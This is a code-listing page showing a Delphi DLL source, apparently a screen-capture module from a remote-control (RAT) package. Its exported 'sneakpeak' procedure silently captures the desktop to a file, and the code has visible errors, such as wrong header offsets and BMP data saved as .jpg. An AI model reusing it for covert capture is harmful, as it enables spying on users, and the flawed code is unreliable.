caplib.dpr.~1~

来自「Nadzor国外08年7月分先出远控代码」· ~1~ 代码 · 共 73 行

~1~
73
字号
library capLib;

{ Important note about DLL memory management: ShareMem must be the
  first unit in your library's USES clause AND your project's (select
  Project-View Source) USES clause if your DLL exports any procedures or
  functions that pass strings as parameters or function results. This
  applies to all strings passed to and from your DLL--even those that
  are nested in records and classes. ShareMem is the interface unit to
  the BORLNDMM.DLL shared memory manager, which must be deployed along
  with your DLL. To avoid using BORLNDMM.DLL, pass string information
  using PChar or ShortString parameters. }
uses
  Windows;

procedure sneakpeak();
 var
  dibH           : hBitmap;
  bits           : pointer;
  info           : TBITMAPINFO;
  width,height   : integer;
  screenDC,dibDC : hDC;
  f              : file of byte;
  FileHeader     : TBITMAPFILEHEADER;
  shot           : string;
begin
shot := 'shot.jpg';
    screenDC                       := getDC(getDeskTopWindow);
    dibDC                          := createCompatibleDC(screenDC);
    width                          := getDeviceCaps(screenDC,HORZRES);
    height                         := getDeviceCaps(screenDC,VERTRES);
    info.bmiHeader.biXPelsPerMeter := round(getDeviceCaps(screenDC,LOGPIXELSX)*39.37);
    info.bmiHeader.biYPelsPerMeter := round(getDeviceCaps(screenDC,LOGPIXELSY)*39.37);
    zeromemory(@info,sizeOf(info));
    with info.bmiHeader do
    begin
         biSize        := sizeOf(TBITMAPINFOHEADER);
         biWidth       := width;
         biheight      := height;
         biplanes      := 1;
         biBitCount    := 24;
         biCompression := BI_RGB;
    end;
    dibH := createDIBSection(dibDC,info,DIB_RGB_COLORS,bits,0,0);
    selectObject(dibDC,dibH);
    bitblt(dibDC, 0, 0, width, height, screenDC, 0, 0, SRCCOPY);
    releaseDC(getDeskTopWindow,screenDC);
    assignFile(f,shot);
    reWrite(f);

    if width and 3 <> 0 then
       width := 4*((width div 4)+1);

    with fileHeader do
    begin
         bfType    := ord('B')+(ord('M')shl 8);
         bfSize    := sizeOf(TBITMAPFILEHEADER)+sizeOf(TBITMAPINFOHEADER)+width*height*3;
         bfOffBits := sizeOf(TBITMAPINFOHEADER);
    end;

    blockWrite(f,fileHeader,sizeOf(TBITMAPFILEHEADER));
    blockWrite(f,info.bmiHeader,sizeOf(TBITMAPINFOHEADER));
    blockWrite(f,bits^,width*height*3);
    closeFile(f);
    deleteObject(dibH);
    deleteDC(dibDC);
end;

exports
  sneakpeak;

begin
end.
 

⌨️ 快捷键说明

复制代码Ctrl + C
搜索代码Ctrl + F
全屏模式F11
增大字号Ctrl + =
减小字号Ctrl + -
显示快捷键?